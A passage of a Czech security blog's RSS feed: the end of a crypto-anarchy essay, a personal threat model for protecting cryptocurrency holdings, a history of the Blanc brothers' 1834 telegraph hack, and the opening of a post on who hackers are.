<p>Kryptoanarchie jsou nástroje, pomocí kterých se jedinec může vyhnout tlaku společnosti na plnění pravidel a/nebo dodržování práv ostatních. Pohnutky pro to mohou být “dobré” i “zlé” (hodnocení je ale vždy individuální). Pro člověka, který je zvyklý dodržovat pravidla, které mu nastavil někdo jiný to může znít jako nebezpečné chování, ale to je opět jen individuální hodnocení. Často takové bezpodmínečné dodržování pravidel umíme vyhodnotit až s odstupem času. Velké části (nejen) německé populace přišly tzv. Norimberské zákony v pořádku a bylo normální je dodržovat. A dnes nám to přijde nepochopitelné. Stejně tak se můžeme za několik desítek let dívat například na současné regulace trhu, kriminalizaci uživatelů drog nebo zločin vlastizrady.</p>
<p>Neznamená to, že kryptoanarchista nedodržuje žádná pravidla a porušuje všechny zákony. Hraje zde roli mnoho faktorů, jako například otázka vlastní bezpečnosti, morálka nebo třeba ekonomický zisk. A i když se to možná na první pohled nezdá, většina lidí nemá zájem škodit. Proč si v obchodě, když se prodavač nedívá, většina(!) z nás prostě nestrčí lahev z regálu do tašky? Není to ze strachu ze zákona (a trestu). Je to pro to, že máme v sobě zakódované jakýsi morální kodex. Obrat někoho o jeho majetek nám prostě nepřijde správné bez ohledu na to, zda je na to nějaký zákon.</p>
<p><strong>Smyslem kryptoanarchie tedy není</strong> – jak by se mohlo zdát – <strong>primárně porušovat pravidla.</strong> Smyslem je udržet si takovou míru svobody, která je pro nás důležitá a ochránit sebe a své blízké před nebezpečím, které může hrozit, pokud se k našim informacím dostane někdo, kdo je chce (a umí) použít proti nám. Historie nám ukázala, že toto nebezpečí není nereálné.</p>
</div>
<p>The post <a href="https://www.digitalnisebeobrana.cz/kryptoanarchie-sifrou-ke-svobode/">Kryptoanarchie – šifrou ke svobodě</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Osobní Threat Model</title>
		<link>https://www.digitalnisebeobrana.cz/osobni-threat-model/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Wed, 13 Sep 2023 13:11:02 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[První pomoc!]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[defense]]></category>
		<category><![CDATA[obrana]]></category>
		<category><![CDATA[ochrana]]></category>
		<category><![CDATA[prevence]]></category>
		<category><![CDATA[prevention]]></category>
		<category><![CDATA[protection]]></category>
		<category><![CDATA[threat model]]></category>
		<guid isPermaLink="false">https://www.digitalni-sebeobrana.cz/?p=1963</guid>

					<description><![CDATA[<p>Tento osobní threat model je prvním krokem k zajištění mé kybernetické bezpečnosti nejen v oblasti kryptoměn.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/osobni-threat-model/">Osobní Threat Model</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2 id="1-vod">1. Úvod</h2>
<p>Tento dokument slouží jako osobní threat model zaměřený na kybernetickou bezpečnost v oblasti kryptoměn. Jeho cílem je identifikovat potenciální hrozby a zranitelnosti a navrhnout opatření k jejich minimalizaci.</p>
<hr />
<h2 id="2-identifikace-akt-r-a-c-l-">2. Identifikace aktérů a cílů</h2>
<h3 id="akt-i">Aktéři</h3>
<ul>
<li>Hackeři</li>
<li>Regulátorní orgány</li>
<li>Konkurence</li>
<li>Blízcí</li>
</ul>
<h3 id="c-le">Cíle</h3>
<ul>
<li>Krypto peněženka</li>
<li>Transakční historie</li>
<li>Investiční strategie</li>
</ul>
<hr />
<h3 id="akt-i-a-c-le-detailn-pohled">Aktéři a Cíle: Detailní Pohled</h3>
<p>V této části threat modelu je klíčové podrobně identifikovat aktéry, kteří by mohli představovat hrozbu, a cíle, které by mohli chtít kompromitovat. Každý aktér a cíl by měl být podrobně rozveden, včetně motivací, schopností a způsobů útoků.</p>
<h4 id="hacke-i">Hackeři</h4>
<ul>
<li><strong>Motivace</strong>: Finanční zisk, reputační důvody, ideologické přesvědčení</li>
<li><strong>Schopnosti</strong>: Malware, ransomware, phishingové útoky</li>
<li><strong>Způsoby útoků</strong>: Infiltrace do peněženky, keylogging, SIM swapping</li>
</ul>
<h4 id="regul-torn-org-ny">Regulátorní orgány</h4>
<ul>
<li><strong>Motivace</strong>: Dohled a regulace, zajištění dodržování zákonů</li>
<li><strong>Schopnosti</strong>: Legální opatření, přístup k veřejným a soukromým databázím</li>
<li><strong>Způsoby útoků</strong>: Soudní příkazy, konfiskace majetku, audit</li>
</ul>
<h4 id="konkurence">Konkurence</h4>
<ul>
<li><strong>Motivace</strong>: Získání konkurenční výhody, finanční zisk</li>
<li><strong>Schopnosti</strong>: Průmyslová špionáž, social engineering</li>
<li><strong>Způsoby útoků</strong>: Infiltrace, dezinformace, manipulace trhu</li>
</ul>
<h4 id="bl-zc-">Blízcí</h4>
<ul>
<li><strong>Motivace</strong>: Osobní zájmy, možná finanční zisky</li>
<li><strong>Schopnosti</strong>: Přístup k osobním zařízením, znalost osobních informací</li>
<li><strong>Způsoby útoků</strong>: Použití známých hesel, přístup k nezabezpečeným zařízením</li>
</ul>
<hr />
<h3 id="c-le">Cíle</h3>
<h4 id="krypto-pen-enka">Krypto peněženka</h4>
<ul>
<li><strong>Důležitost</strong>: Vysoká</li>
<li><strong>Typy útoků</strong>: Phishing, malware, fyzický přístup</li>
<li><strong>Opatření</strong>: Hardwarová peněženka, 2FA, silná hesla</li>
</ul>
<h4 id="transak-n-historie">Transakční historie</h4>
<ul>
<li><strong>Důležitost</strong>: Střední</li>
<li><strong>Typy útoků</strong>: Sledování IP adresy, kompromitace směnárny</li>
<li><strong>Opatření</strong>: Použití VPN, decentralizované směnárny</li>
</ul>
<h4 id="investi-n-strategie">Investiční strategie</h4>
<ul>
<li><strong>Důležitost</strong>: Střední až vysoká</li>
<li><strong>Typy útoků</strong>: Social engineering, průmyslová špionáž</li>
<li><strong>Opatření</strong>: Omezení sdílení informací, použití šifrované komunikace</li>
</ul>
<hr />
<h2 id="3-zranitelnosti">3. Zranitelnosti</h2>
<h3 id="pou-v-n-online-pen-enek-s-n-zk-m-zabezpe-en-m">Používání online peněženek s nízkým zabezpečením</h3>
<ul>
<li><strong>Popis</strong>: Online peněženky jsou často cílem útoků, zejména pokud nejsou správně zabezpečeny.</li>
<li><strong>Aktéři</strong>: Hackeři, konkurence</li>
<li><strong>Typy útoků</strong>: Phishing, brute-force útoky</li>
<li><strong>Opatření</strong>: Přechod na hardwarovou peněženku, použití 2FA</li>
</ul>
<h3 id="nezabezpe-en-wi-fi-s-">Nezabezpečená Wi-Fi síť</h3>
<ul>
<li><strong>Popis</strong>: Používání nezabezpečených Wi-Fi sítí může umožnit útočníkům snadný přístup k vašim datům.</li>
<li><strong>Aktéři</strong>: Hackeři, blízcí</li>
<li><strong>Typy útoků</strong>: Man-in-the-middle útoky, sniffing</li>
<li><strong>Opatření</strong>: Použití VPN, připojení pouze k důvěryhodným sítím</li>
</ul>
<h3 id="pou-v-n-neaktualizovan-ho-software">Používání neaktualizovaného software</h3>
<ul>
<li><strong>Popis</strong>: Starý nebo neaktualizovaný software může obsahovat zranitelnosti, které mohou být využity k infiltraci.</li>
<li><strong>Aktéři</strong>: Hackeři, regulátorní orgány</li>
<li><strong>Typy útoků</strong>: Exploitace známých zranitelností</li>
<li><strong>Opatření</strong>: Pravidelné aktualizace software, použití bezpečnostních záplat</li>
</ul>
<h3 id="nedostate-n-dvoufaktorov-autentizace-2fa-">Nedostatečná dvoufaktorová autentizace (2FA)</h3>
<ul>
<li><strong>Popis</strong>: Absence nebo špatná implementace 2FA může vést k snadnému přístupu k citlivým údajům.</li>
<li><strong>Aktéři</strong>: Hackeři, blízcí</li>
<li><strong>Typy útoků</strong>: Brute-force útoky, SIM swapping</li>
<li><strong>Opatření</strong>: Aktivace a správná konfigurace 2FA</li>
</ul>
<h3 id="nedostate-n-opsec-operational-security-">Nedostatečná opsec (operational security)</h3>
<ul>
<li><strong>Popis</strong>: Nedostatečná opsec může zahrnovat špatné zacházení s hesly, klíči a dalšími citlivými údaji.</li>
</ul>
<p>čná opsec může zahrnovat špatné zacházení s hesly, klíči a dalšími citlivými údaji.</p>
<ul>
<li><strong>Aktéři</strong>: Všichni</li>
<li><strong>Typy útoků</strong>: Social engineering, phishing</li>
<li><strong>Opatření</strong>: Vzdělání v oblasti kybernetické bezpečnosti, použití správce hesel</li>
</ul>
<hr />
<h2 id="4-vektory-tok-">4. Vektory útoků</h2>
<h3 id="phishingov-toky">Phishingové útoky</h3>
<ul>
<li><strong>Popis</strong>: Útoky, které se snaží získat citlivé informace prostřednictvím podvodných e-mailů nebo webových stránek.</li>
<li><strong>Aktéři</strong>: Hackeři, konkurence</li>
<li><strong>Zranitelnosti</strong>: Nedostatečná opsec, používání online peněženek s nízkým zabezpečením</li>
<li><strong>Opatření</strong>: Vzdělání v oblasti kybernetické bezpečnosti, použití 2FA</li>
</ul>
<h3 id="man-in-the-middle-toky">Man-in-the-middle útoky</h3>
<ul>
<li><strong>Popis</strong>: Útoky, kdy útočník odposlouchává nebo manipuluje s komunikací mezi dvěma stranami.</li>
<li><strong>Aktéři</strong>: Hackeři, regulátorní orgány</li>
<li><strong>Zranitelnosti</strong>: Nezabezpečená Wi-Fi síť, neaktualizovaný software</li>
<li><strong>Opatření</strong>: Použití VPN, šifrování komunikace</li>
</ul>
<h3 id="social-engineering">Social Engineering</h3>
<ul>
<li><strong>Popis</strong>: Manipulace s lidmi k získání citlivých informací nebo přístupu k systémům.</li>
<li><strong>Aktéři</strong>: Konkurence, blízcí</li>
<li><strong>Zranitelnosti</strong>: Nedostatečná opsec, nedostatečná 2FA</li>
<li><strong>Opatření</strong>: Vzdělání v oblasti kybernetické bezpečnosti, omezení sdílení informací</li>
</ul>
<h3 id="sim-swapping">SIM Swapping</h3>
<ul>
<li><strong>Popis</strong>: Útok, při kterém útočník získá kontrolu nad cílovou SIM kartou.</li>
<li><strong>Aktéři</strong>: Hackeři</li>
<li><strong>Zranitelnosti</strong>: Nedostatečná 2FA, nedostatečná opsec</li>
<li><strong>Opatření</strong>: Použití hardwarové 2FA, vysoká úroveň opsec</li>
</ul>
<hr />
<h2 id="5-opat-en-">5. Opatření</h2>
<h3 id="pou-it-hardwarov-pen-enky">Použití hardwarové peněženky</h3>
<ul>
<li><strong>Popis</strong>: Hardwarové peněženky poskytují vysokou úroveň zabezpečení pro ukládání kryptoměn.</li>
<li><strong>Aktéři</strong>: Hackeři</li>
<li><strong>Vhodné pro</strong>: Ochrana krypto peněženky</li>
<li><strong>Jak implementovat</strong>: Zakoupení důvěryhodné hardwarové peněženky, jako je Ledger nebo Trezor, a přesunutí kryptoměn na ni.</li>
</ul>
<h3 id="pou-it-vpn">Použití VPN</h3>
<ul>
<li><strong>Popis</strong>: VPN poskytuje anonymitu a zabezpečení při procházení internetu.</li>
<li><strong>Aktéři</strong>: Regulátorní orgány, hackeři</li>
<li><strong>Vhodné pro</strong>: Ochrana transakční historie, zabezpečení Wi-Fi</li>
<li><strong>Jak implementovat</strong>: Vybrání důvěryhodného poskytovatele VPN a aktivace při připojení k internetu.</li>
</ul>
<h3 id="aktivace-a-spr-vn-konfigurace-2fa">Aktivace a správná konfigurace 2FA</h3>
<ul>
<li><strong>Popis</strong>: Dvoufaktorová autentizace poskytuje dodatečnou vrstvu zabezpečení.</li>
<li><strong>Aktéři</strong>: Hackeři, blízcí</li>
<li><strong>Vhodné pro</strong>: Ochrana krypto peněženky, zabezpečení online účtů</li>
<li><strong>Jak implementovat</strong>: Aktivace 2FA na všech důležitých účtech a použití aplikace jako Google Authenticator nebo hardwarového klíče jako YubiKey.</li>
</ul>
<h3 id="vzd-l-n-v-oblasti-kybernetick-bezpe-nosti">Vzdělání v oblasti kybernetické bezpečnosti</h3>
<ul>
<li><strong>Popis</strong>: Vzdělání a osvěta jsou klíčové pro rozpoznání a odvrácení útoků.</li>
<li><strong>Aktéři</strong>: Všichni</li>
<li><strong>Vhodné pro</strong>: Ochrana proti všem typům útoků</li>
<li><strong>Jak implementovat</strong>: Absolvování kurzů kybernetické bezpečnosti, čtení aktuálních zpráv a článků, účast na webinářích a konferencích.</li>
</ul>
<hr />
<h2 id="6-z-v-r">6. Závěr</h2>
<p>Tento osobní threat model je prvním krokem k zajištění mé kybernetické bezpečnosti v oblasti kryptoměn. Plánuji pravidelně aktualizovat tento dokument a implementovat nová bezpečnostní opatření podle aktuálního vývoje hrozeb.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/osobni-threat-model/">Osobní Threat Model</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>O původu hackerů</title>
		<link>https://www.digitalnisebeobrana.cz/on-the-origin-of-hackers/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Tue, 20 Jul 2021 21:29:36 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[hacky]]></category>
		<category><![CDATA[historie]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[hackeři]]></category>
		<category><![CDATA[šifrování]]></category>
		<category><![CDATA[trik]]></category>
		<guid isPermaLink="false">https://www.digitalni-sebeobrana.cz/?p=1687</guid>

					<description><![CDATA[<p>Kdy se začala psát historie hackování? Pokud hádáte druhou polovinu 20. století, musíte jít trochu dál proti proudu času. Nebylo to dokonce ani prolomení zpráv šifrovaných Enigmou během druhé světové války. Od prvního známého hacku komunikační sítě nás dělí více než 180 let (spoiler: nebyl to telefon, Alexander Graham Bell si poprvé zavolal až 42 &#8230;<br /><a href="https://www.digitalnisebeobrana.cz/on-the-origin-of-hackers/" class="more-link pen_button pen_element_default pen_icon_arrow_double">Pokračovat ve čtení <span class="screen-reader-text">O původu hackerů</span></a></p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/on-the-origin-of-hackers/">O původu hackerů</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Kdy se začala psát historie hackování? Pokud hádáte druhou polovinu 20. století, musíte jít trochu dál proti proudu času. Nebylo to dokonce ani prolomení zpráv šifrovaných Enigmou během druhé světové války.<br />
Od prvního známého hacku komunikační sítě nás dělí více než 180 let (spoiler: nebyl to telefon, Alexander Graham Bell si poprvé zavolal až 42 let poté). <span id="more-1687"></span></p>
<h2>Chappeho telegraf</h2>
<p><a href="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1.jpg"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-1691" src="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-146x300.jpg" alt="" width="146" height="300" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-146x300.jpg 146w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-600x1232.jpg 600w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-499x1024.jpg 499w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-768x1577.jpg 768w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-748x1536.jpg 748w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-500x1027.jpg 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-800x1643.jpg 800w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-640x1314.jpg 640w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1.jpg 877w" sizes="auto, (max-width: 146px) 100vw, 146px" /></a> V roce 1794 přišel francouzský vynálezce Claude Chappe se systémem vizuálních semaforových telegrafů. Pomocí nastavení ohebných ramen umístěných na věži (stožáru) bylo možno zobrazit písmena, čísla i některé speciální znaky, jako například začátek a konec komunikace nebo vymazání posledního znaku při překlepu. V tomto případě spíše &#8222;přeohnutí&#8220;.</p>
<p>Jednotlivé věže byly od sebe vzdáleny tak, aby bylo z jedné vidět na další. A tak se zpráva mohla šířit z jedné věže na druhou až do cílové destinace. Uvádí se, že rychlost přenosu zprávy byla až 500 km za hodinu.</p>
<p>Ve Francii byla během 19. století vybudována síť Chappeho vizuálních telegrafů pro potřeby státu (a hlavně armády). Například mezi Paříží a Brestem bylo na trase 58 stanic. Běžní občané služby této komunikační sítě ale využít nemohli.</p>
<p><a href="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77.png"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-1690" src="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-212x300.png" alt="" width="212" height="300" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-212x300.png 212w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-600x849.png 600w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-724x1024.png 724w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-768x1086.png 768w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-1086x1536.png 1086w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-1448x2048.png 1448w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-500x707.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-800x1132.png 800w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-1280x1810.png 1280w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-1920x2716.png 1920w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-640x905.png 640w" sizes="auto, (max-width: 212px) 100vw, 212px" /></a>V komunikaci se dokonce používalo end-to-end šifrování. Vzhledem k tomu, že pomocí sítě telegrafů byla přenášena vojenská tajemství, nebylo příliš vhodné, aby si komunikaci mohl číst kdokoliv, kdo měl výhled na telegrafní věž. Odesílatel a příjemce tak měli dohodnutý klíč, pomocí kterého šifrovali své zprávy. Operátoři věží po cestě jen šifrovanou zprávu opakovali znak za znakem aniž by dokázali rozluštit, co je obsahem zprávy. Odesílatel a příjemce zprávy tak měli v roce 1800 více soukromí než uživatelé Facebook Messengeru v roce 2021 (o šifrování messengerů více <a href="https://www.digitalni-sebeobrana.cz/sifrovani-zprav-demo/">zde</a>).</p>
<h2>François a Louis Blanc</h2>
<p>Bratři Blancové obchodovali se státními dluhopisy na burze v Bordeaux. Při takovém obchodování je rychlost informací stěžejní &#8211; kdo má rychlejší zprávy z centrálního bodu dění (v tomto případě Paříž), má nad ostatními obchodníky výhodu, protože může lépe předvídat pohyby na burze.</p>
<p><a href="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/Portrait_de_Francois_Blanc.jpg"><img loading="lazy" decoding="async" class="alignright size-thumbnail wp-image-1689" src="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/Portrait_de_Francois_Blanc-150x150.jpg" alt="" width="150" height="150" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Portrait_de_Francois_Blanc-150x150.jpg 150w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Portrait_de_Francois_Blanc-300x300.jpg 300w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Portrait_de_Francois_Blanc-100x100.jpg 100w" sizes="auto, (max-width: 150px) 100vw, 150px" /></a>Zprávy z Paříže do Bordeaux byly tradičně posílány dostavníkem, což trvalo pět dní. Někteří obchodníci se snažili zkrátit tuto dobu používáním poštovních holubů nebo najímáním poslů. To bylo sice rychlejší, ale ne nijak výrazně. Bratrům Blancovým to rozhodně nestačilo. Věděli, že existuje výrazně rychlejší způsob komunikace na dlouhé vzdálenosti. Ten byl ale vyhrazen armádě, obchodníci jej využít nemohli. A tak většina obchodníků nadále přemýšlela nad zlepšováním aerodynamiky holuba. Ale bratři Blancové byli hackeři (i když to o sobě na Twitteru podle dostupných zdrojů netvrdili). Takže se myšlenky na využití Chappeho telegrafní sítě nevzdali.</p>
<h2>Plán</h2>
<p><a href="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/1024px-Telegraphe_Chappe_2.jpg"><img loading="lazy" decoding="async" class="alignright size-thumbnail wp-image-1692" src="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/1024px-Telegraphe_Chappe_2-150x150.jpg" alt="" width="150" height="150" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/1024px-Telegraphe_Chappe_2-150x150.jpg 150w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/1024px-Telegraphe_Chappe_2-300x300.jpg 300w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/1024px-Telegraphe_Chappe_2-100x100.jpg 100w" sizes="auto, (max-width: 150px) 100vw, 150px" /></a>Operátoři telegrafů nebyli asi nejlépe placení zaměstnanci ve Francii. Takže řešením by mohla být stará dobrá a osvědčená korupce.<br />
Pokud by ale chtěli bratři Blancové posílat zprávy standardním způsobem, museli by podplatit všechny operátory po cestě z Paříže do Bordeaux. Což už by se mohlo prodražit.<br />
Museli tedy přijít na to, jak tuto drahou nepříjemnost vyřešit.<br />
Jak bylo zmíněno výše, systém obsahoval symbol pro vymazání posledního znaku &#8211; operátor zapisuje znaky tak, jak je vidí na semaforu a pokud uvidí symbol pro vymazání, prostě poslední znak smaže a pokračuje dál.<br />
Právě toho se rozhodli hackeři využít. Budou posílat tajné zprávy tak, že po &#8222;jejich&#8220; znaku vloženém do běžné armádní zprávy pošlou znak pro vymazání. Kdokoliv, kdo vidí semafor tento znak může vidět, ale operátor koncové věže ho z papíru vymaže (případně vůbec nenapíše). Tak bude zpráva předána a zároveň po ní nezůstane písemný důkaz.</p>
<h2>Ponožky jako datový nosič</h2>
<p>Bylo potřeba ještě vyřešit jeden problém. Po cestě z Paříže do Bordeaux byla ještě věž v Tours (přibližně 200 km od Paříže), kde byly zprávy dekódovány a přeposílány dál bez chyb. Takže zprávy musely být posílány odsud. A musely se do Tours dostat nějak nenápadně.<br />
Naštěstí nebylo potřeba posílat nějaké rozsáhlé romány (to by při tomto scénáři ani nebylo možné), stačilo pár domluvených signálů. A tak byly do Tours z Paříže posílány poštovní balíčky, které obsahovaly oblečení. Druh oblečení (rukavice, ponožky, kravaty), který byl označen v průvodním dopise označoval, zda nějaký titul na burze klesá nebo roste a barva zase výši změny.</p>
<h2>Hack</h2>
<p><a href="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/GrilleDesSignauxDeCorrespondance.jpg"><img loading="lazy" decoding="async" class="alignright size-thumbnail wp-image-1697" src="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/GrilleDesSignauxDeCorrespondance-150x150.jpg" alt="" width="150" height="150" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/GrilleDesSignauxDeCorrespondance-150x150.jpg 150w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/GrilleDesSignauxDeCorrespondance-300x300.jpg 300w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/GrilleDesSignauxDeCorrespondance-100x100.jpg 100w" sizes="auto, (max-width: 150px) 100vw, 150px" /></a>Hackování mohlo začít. Komplic v Paříži podle změn na burze poskládal oblečení do balíku a odeslal do Tours. Tam podplacený operátor telegrafu (dostal jednorázově 1500 franků za zapojení do konspirace, poté každý měsíc 150 franků a navíc ještě bonus 20 franků za každou předanou zprávu) odeslal zprávu s vloženými &#8222;chybami&#8220;.<br />
U věže poblíž Bordeaux čekal další komplic s dalekohledem, sledoval telegraf a zapisoval znaky, které byly označeny jako chybné. A tím se dostaly zprávy k našim obchodníkům, kteří tak měli před ostatními několik dní náskok.</p>
<h2>Odhalení</h2>
<p>Systém perfektně fungoval dva roky. Odesláno bylo takto celkem 121 zpráv (a balíků s oblečením). Podezření kupodivu nevzbudilo ani náhlé zbohatnutí operátorů telegrafu (běžná denní mzda operátora činila 1,50 franku).<br />
Pravda vyšla najevo až ve chvíli, kdy jeden z operátorů onemocněl a před smrtí se s celou záležitostí svěřil příteli.<br />
Bratři Blancové ale překvapivě nenesli žádné následky. Francouzská legislativa jednoduše nezakazovala vkládání vlastních zpráv do telegrafního systému. Tehdejší zákonodárce to vůbec nenapadlo.<br />
A tak se z nich později mohli stát úspěšní provozovatelé kasin (včetně kasina Monte Carlo v Monaku).</p>
<p>Jak je vidět už z prvního zdokumentovaného hackerského útoku, nejslabším článkem zabezpečení bývá člověk.</p>
<h3>Zdroje:</h3>
<p><a href="https://fr.wikipedia.org/wiki/T%C3%A9l%C3%A9graphe_Chappe">https://fr.wikipedia.org/wiki/T%C3%A9l%C3%A9graphe_Chappe</a><br />
<a href="https://en.wikipedia.org/wiki/Fran%C3%A7ois_Blanc">https://en.wikipedia.org/wiki/Fran%C3%A7ois_Blanc</a><br />
<a href="https://www.schneier.com/blog/archives/2018/05/1834_the_first_.html">https://www.schneier.com/blog/archives/2018/05/1834_the_first_.html</a><br />
<a href="https://gallica.bnf.fr/ark:/12148/bpt6k4393846/f1.item">https://gallica.bnf.fr/ark:/12148/bpt6k4393846/f1.item</a></p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/on-the-origin-of-hackers/">O původu hackerů</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Hackeři &#8211; proti komu se bráníme?</title>
		<link>https://www.digitalnisebeobrana.cz/hackeri-proti-komu-se-branime/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Thu, 15 Jul 2021 11:41:01 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[black hat]]></category>
		<category><![CDATA[grey hat]]></category>
		<category><![CDATA[hackeři]]></category>
		<category><![CDATA[lockpicking]]></category>
		<category><![CDATA[white hat]]></category>
		<guid isPermaLink="false">https://www.digitalni-sebeobrana.cz/?p=1659</guid>

					<description><![CDATA[<p>Hackerství a hackeři jsou opředeni mnoha mýty, na čemž se asi nejvíce podílí filmová produkce a také novináři, kteří potřebují zaujmout své čtenáře a diváky.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/hackeri-proti-komu-se-branime/">Hackeři &#8211; proti komu se bráníme?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Hackerství a hackeři jsou opředeni mnoha mýty, na čemž se asi nejvíce podílí filmová produkce a také novináři, kteří potřebují zaujmout své čtenáře a diváky. Velmi málo z toho, co vidíme v médiích ale odpovídá realitě.<span id="more-1659"></span></p>
<h2>Kdo jsou tedy ti obávaní hackeři, můžu je nějak poznat a co mají společného?</h2>
<p>Hackeři pocházejí z různých prostředí, z různých částí světa a z různých sociálních vrstev. Nedá se obecně říct, že typický hacker je pětadvacetiletý běloch, závislý na kofeinu z energy drinků, který si nerozumí se svými vrstevníky a veškerý svůj volný čas tráví v tmavém sklepě obklopen počítači.<br />
Co ale má většina hackerů společného je schopnost používat věci jiným způsobem, než jak bylo zamýšleno a obcházet překážky. Ať jde o fyzické, technologické nebo psychologické.<br />
Na začátku bývá zvědavost. Jak funguje svět okolo nás, jak fungují různé nástroje a jak funguje lidská mysl. A jestli má daný předmět zájmu ve svém designu nějaké slabiny, které se dají využít nebo zneužít (to je často spíše subjektivní hodnocení).</p>
<h2>Otevíráme zámek</h2>
<p><a href="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/lockpicking.jpg"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-1665" src="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/lockpicking-225x300.jpg" alt="" width="225" height="300" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/lockpicking-225x300.jpg 225w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/lockpicking-600x800.jpg 600w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/lockpicking-500x666.jpg 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/lockpicking.jpg 640w" sizes="auto, (max-width: 225px) 100vw, 225px" /></a>Když chcete otevřít klasický zámek, je dobré nejdříve vědět, jak funguje jeho mechanismus. Poté můžete použít nástroje a techniky, jak ho otevřít bez klíče. Nebo prostě použijete trhavinu. To sice může být efektní, ale má to několik menších nevýhod. Někdo si toho může všimnout a mít zvláštní otázky jako jestli jsou ty dveře vaše, proč si normálně neodemknete a kde jste vzali tu nezdaněnou výbušninu. Někdy se může hodit i to, aby majitel zámku ani v budoucnu nezjistil, že byl odemčen (po použití výbušniny se celkem špatně zamyká). No a také se může stát, že výbuchem zničíte to, co je za tím zámkem a kvůli čemu to vlastně celé děláte. Nemluvě o tom, že při neopatrném zacházení se může radikálně snížit počet vašich oblíbených končetin.<br />
